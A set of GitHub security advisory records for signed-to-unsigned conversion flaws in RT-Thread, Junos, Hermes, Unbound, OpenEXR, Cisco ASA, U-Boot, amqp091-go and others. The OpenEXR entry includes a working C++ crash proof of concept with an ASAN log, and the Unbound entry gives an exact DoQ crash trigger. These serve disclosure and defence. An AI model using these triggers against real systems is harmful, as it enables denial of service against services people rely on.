CWE-195

{
  "affected": [],
  "aliases": [
    "CVE-2024-25388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-27T03:15:11Z",
    "severity": "HIGH"
  },
  "details": "drivers/wlan/wlan_mgmt,c in RT-Thread through 5.0.2 has an integer signedness error and resultant buffer overflow.",
  "id": "GHSA-93gm-mmcx-xg29",
  "modified": "2025-11-04T21:31:21Z",
  "published": "2024-03-27T03:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RT-Thread/rt-thread/issues/8285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hnsecurity/vulns/blob/main/HNS-2024-05-rt-thread.txt"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2024/Mar/28"
    },
    {
      "type": "WEB",
      "url": "https://security.humanativaspa.it/multiple-vulnerabilities-in-rt-thread-rtos"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Mar/28"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/03/05/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-30646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-09T20:15:27Z",
    "severity": "HIGH"
  },
  "details": "A Signed to Unsigned Conversion Error vulnerability in the Layer 2 Control Protocol daemon (l2cpd) of Juniper Networks Junos OS and Juniper Networks Junos OS Evolved allows an unauthenticated adjacent attacker sending a specifically malformed LLDP TLV to cause the l2cpd process to crash and restart, causing a Denial of Service (DoS).\u00a0 Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition.\n\nWhen an LLDP telemetry subscription is active, receipt of a specifically malformed LLDP TLV causes the l2cpd process to crash and restart.\n\n\n\nThis issue affects:\n\nJunos OS: \n\n\n  *  All versions before 21.2R3-S9,\u00a0\n  *  from 21.4 before 21.4R3-S10,\u00a0\n  *  from 22.2 before 22.2R3-S6,\u00a0\n  *  from 22.4 before 22.4R3-S6,\u00a0\n  *  from 23.2 before 23.2R2-S3,\u00a0\n  *  from 23.4 before 23.4R2-S4,\u00a0\n  *  from 24.2 before 24.2R2;\u00a0\n\n\n\n\nJunos OS Evolved:\u00a0\n\n\n\n  *  All versions before 21.4R3-S10-EVO,\n  *  from 22.2-EVO before 22.2R3-S6-EVO,\u00a0\n  *  from 22.4-EVO before 22.4R3-S6-EVO,\u00a0\n  *  from 23.2-EVO before 23.2R2-S3-EVO,\u00a0\n  *  from 23.4-EVO before 23.4R2-S4-EVO,\u00a0\n  *  from 24.2-EVO before 24.2R2-EVO.",
  "id": "GHSA-c84c-ph5v-qwvg",
  "modified": "2025-04-09T21:31:43Z",
  "published": "2025-04-09T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30646"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA96456"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "hermes-engine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195",
      "CWE-681"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-24T01:23:39Z",
    "nvd_published_at": "2020-09-09T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An Integer signedness error in the JavaScript Interpreter in Facebook Hermes prior to commit 2c7af7ec481ceffd0d14ce2d7c045e475fd71dc6 allows attackers to cause a denial of service attack or a potential RCE via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.",
  "id": "GHSA-gmpm-xp43-f7g6",
  "modified": "2022-06-24T01:23:39Z",
  "published": "2022-05-24T17:27:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/hermes/commit/2c7af7ec481ceffd0d14ce2d7c045e475fd71dc6"
    },
    {
      "type": "WEB",
      "url": "https://www.facebook.com/security/advisories/cve-2020-1913"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signed to Unsigned Conversion Error in Facebook Hermes"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-55991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T14:17:21Z",
    "severity": "MODERATE"
  },
  "details": "In NLnet Labs Unbound 1.22.0 up to and including 1.25.1, a remote unauthenticated client can trigger a libngtcp2 assertion (if compiled with assertions on) and terminate the entire Unbound process using a single DNS-over-QUIC (DoQ) connection and one normal DNS query. This is caused by an erroneous error value passed to libngtcp2. When \u0027ngtcp2_conn_writev_stream()\u0027 returns \u0027NGTCP2_ERR_STREAM_DATA_BLOCKED\u0027, Unbound continues to call \u0027ngtcp2_ccerr_set_application_error()\u0027 with a \u0027-1\u0027 error value. The \u0027int\u0027 literal \u0027-1\u0027 is implicitly converted to the function\u0027s \u0027uint64_t error_code\u0027 parameter as \u00270xFFFFFFFFFFFFFFFF\u0027. The follow-on \u0027ngtcp2_conn_write_connection_close()\u0027 serialises that value as a QUIC variable-length integer; because \u00272^64-1\u0027 exceeds the 62-bit varint ceiling, \u0027ngtcp2_put_uvarintlen()\u0027 fails \u0027assert(n \u003c 4611686018427387904ULL)\u0027 and the whole resolver process aborts. A remote, unauthenticated DoQ client can trigger this deterministically with a single QUIC connection by advertising \u0027initial_max_stream_data_bidi_local = 1\u0027 in its transport parameters and sending one DoQ query without ever reading the stream.",
  "id": "GHSA-j6hj-wvx2-8wqp",
  "modified": "2026-07-22T15:31:25Z",
  "published": "2026-07-22T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55991"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-55991.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-6560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-31T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "illumos osnet-incorporation bcopy() and bzero() implementations make signed instead of unsigned comparisons allowing a system crash.",
  "id": "GHSA-m6wp-2r29-6958",
  "modified": "2025-04-20T03:35:04Z",
  "published": "2022-05-13T01:38:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/illumos/illumos-gate/commit/5aaab1a49679c26dbcb6fb6dc25799950d70cc71"
    },
    {
      "type": "WEB",
      "url": "https://www.illumos.org/issues/7488"
    },
    {
      "type": "WEB",
      "url": "https://www.openindiana.org/2016/11/01/cve-2016-6560-cve-2016-6561-security-issues-in-illumos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-33034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T06:15:27Z",
    "severity": "HIGH"
  },
  "details": "Memory corruption while parsing the ADSP response command.",
  "id": "GHSA-p5pp-ppfp-mrrh",
  "modified": "2024-04-04T08:03:21Z",
  "published": "2023-10-03T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33034"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/october-2023-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T17:51:37Z",
    "nvd_published_at": "2026-02-24T03:16:01Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121\u2013136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s-\u003esize ();           // e.g., 21 (actual file size)\nint64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113\nif (stream_sz \u003e 0 \u0026\u0026 nend \u003e stream_sz)\n{\n    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz);               // sz is size_t \u2192 wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` \u2192 `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include \u003ccstdint\u003e\n#include \u003ccstring\u003e\n#include \u003ciostream\u003e\n\n#include \u003cImfMultiPartInputFile.h\u003e\n#include \u003cImfInputPart.h\u003e\n#include \u003cImfHeader.h\u003e\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n    MemMapIStream (const uint8_t* data, size_t len)\n        : IStream (\"poc_input\")\n        , _data (reinterpret_cast\u003cconst char*\u003e (data))\n        , _size (static_cast\u003cint64_t\u003e (len))\n        , _pos (0)\n    {}\n\n    bool isMemoryMapped () const override { return true; }\n\n    bool read (char c[], int n) override\n    {\n        int64_t avail = (_pos \u003c _size) ? (_size - _pos) : 0;\n        int64_t copy  = (static_cast\u003cint64_t\u003e (n) \u003c avail) ? n : avail;\n        if (copy \u003e 0) memcpy (c, _data + _pos, copy);\n        _pos += n;\n        return _pos \u003c= _size;\n    }\n\n    char* readMemoryMapped (int n) override\n    {\n        if (_pos + n \u003e _size)\n            throw IEX_NAMESPACE::InputExc (\"read past end\");\n        const char* p = _data + _pos;\n        _pos += n;\n        return const_cast\u003cchar*\u003e (p);\n    }\n\n    uint64_t tellg () override { return static_cast\u003cuint64_t\u003e (_pos); }\n    void     seekg (uint64_t pos) override { _pos = static_cast\u003cint64_t\u003e (pos); }\n\n    int64_t size () override { return _size; }\n\nprivate:\n    const char* _data;\n    int64_t     _size;\n    int64_t     _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n    static const uint8_t crash_data[] = {\n        0x76, 0x2f, 0x31, 0x01,\n        0x02, 0x06, 0x00, 0x00,\n        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n        0x20, 0x00, 0x00,\n        0x53, 0x00, 0x00, 0x00\n    };\n\n    try\n    {\n        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n        Imf::MultiPartInputFile file (stream);\n    }\n    catch (const std::exception\u0026 e)\n    {\n        std::cout \u003c\u003c \"Exception: \" \u003c\u003c e.what () \u003c\u003c \"\\n\";\n    }\n\n    return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const\u0026, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** \u2014 Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) \u2192 **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`",
  "id": "GHSA-q6vj-wxvf-5m8c",
  "modified": "2026-04-06T17:51:37Z",
  "published": "2026-04-06T17:51:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/openexr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-20248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T21:17:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the DNS over TCP implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the TCP DNS\u0026nbsp;response handler to unexpectedly restart, causing the device to reload.\n\nThis vulnerability is due to a logic error when parsing a DNS query and tracking the size of the incoming buffers. An attacker could exploit this vulnerability by formatting a crafted reply to a DNS query sent from the targeted device. A successful exploit could allow the attacker to cause the device to reload, causing a denial of service (DoS) condition.\nNote: The attacker must be able to respond to DNS queries from the device, either by controlling the DNS service or through a machine-in-the-middle attack.",
  "id": "GHSA-qxw6-2w65-g7rg",
  "modified": "2026-09-16T21:32:49Z",
  "published": "2026-09-16T21:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20248"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-tcpdns-dos-p6dUnjr5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-74221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-29T22:18:33Z",
    "severity": "HIGH"
  },
  "details": "U-Boot before 2026.10-rc5 contains a buffer overflow in nfs_readlink_reply() function in net/nfs-common.c when processing NFS server responses. A malicious NFS server can send crafted READLINK replies with negative or oversized symlink length values to corrupt memory and crash the bootloader.",
  "id": "GHSA-r9ch-9wx4-f978",
  "modified": "2026-09-30T00:32:29Z",
  "published": "2026-09-30T00:32:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74221"
    },
    {
      "type": "WEB",
      "url": "https://github.com/u-boot/u-boot/commit/1c0aff3a5fbfeee7a8948f624e0b8554e6e0d8fd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/u-boot/u-boot"
    },
    {
      "type": "WEB",
      "url": "https://github.com/u-boot/u-boot/blob/v2026.07/net/nfs-common.c#L643"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/u-boot-before-2026.10-rc5-buffer-overflow-via-nfs-readlink"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rabbitmq/amqp091-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:04:05Z",
    "nvd_published_at": "2026-09-16T15:17:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nA logic and resource exhaustion vulnerability exists in the AMQP client\u0027s Quality of Service (`Qos`) configuration method. The `Qos` function accepts signed integers (`int`) for the `prefetchCount` and `prefetchSize` parameters but casts them directly to unsigned integers (`uint16` and `uint32`, respectively) when formatting the wire-level frame.\n\nIf a developer passes a negative integer (such as `-1`) to these parameters\u2014frequently intended as a sentinel value meaning \"no change\" or \"no limit\"\u2014the application performs an implicit signed-to-unsigned conversion. This wraps the values to their absolute maximum limit ($65535$ and $4294967295$). Consequently, a consumer expecting restricted message delivery rates is suddenly flooded with an unlimited volume of messages, potentially exhausting memory resources and crashing the application.\n\n---\n\n## Vulnerability Details\n\n### Mechanism\nThe bug manifests during the structural assignment inside the channel\u0027s `Qos` method:\n\n```go\n// channel.go:795-796\nPrefetchCount: uint16(prefetchCount),  // -1 wraps to 65535\nPrefetchSize:  uint32(prefetchSize),   // -1 wraps to 4294967295\n```\n\nIn Go, converting a negative signed integer to an unsigned integer shifts the value via two\u0027s complement arithmetic. Because no boundary validation or signedness check occurs prior to the cast:\n* Passing `-1` for `prefetchCount` yields a wire value of `65535`.\n* Passing `-1` for `prefetchSize` yields a wire value of `4294967295`.\n\n### Impact\nThe AMQP broker interprets a `prefetch-count` of `65535` as an instruction to dispatch messages to the consumer with virtually no concurrency limits. \n\nIf the application is processing heavy payloads or relies on strict rate-limiting to maintain stability, this unexpected flood will cause rapid heap memory growth, unmanageable processing queues, and an eventual Out-Of-Memory (OOM) termination.\n\n---\n\n## Attack Vector\nAn attacker who can manipulate configuration files, environmental variables, or API inputs that dictate client Qos settings can trigger an application-layer Denial of Service:\n\n1. **Malicious Input:** An attacker sets a service\u0027s prefetch configuration parameter to `-1`.\n2. **Implicit Overflow:** The application initializes the channel, executes `Qos(-1, ...)`, and transmits an unintended maximum-capacity request to the RabbitMQ/AMQP broker.\n3. **Consumer Exhaustion:** The broker flushes the entire contents of the queue directly into the client consumer\u0027s network buffer, bypassing expected application concurrency barriers and inducing a crash.",
  "id": "GHSA-rm6m-hrcw-jw33",
  "modified": "2026-09-17T17:04:05Z",
  "published": "2026-09-17T17:04:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-rm6m-hrcw-jw33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/pull/351"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/commit/3b879e1d1d25b544e26b3bc3d7db3213203c0f3b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/amqp091-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/releases/tag/v1.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RabbitMQ amqp091-go: Consumer Message Flooding via Signed-to-Unsigned Integer Casting in Qos Configuration"
}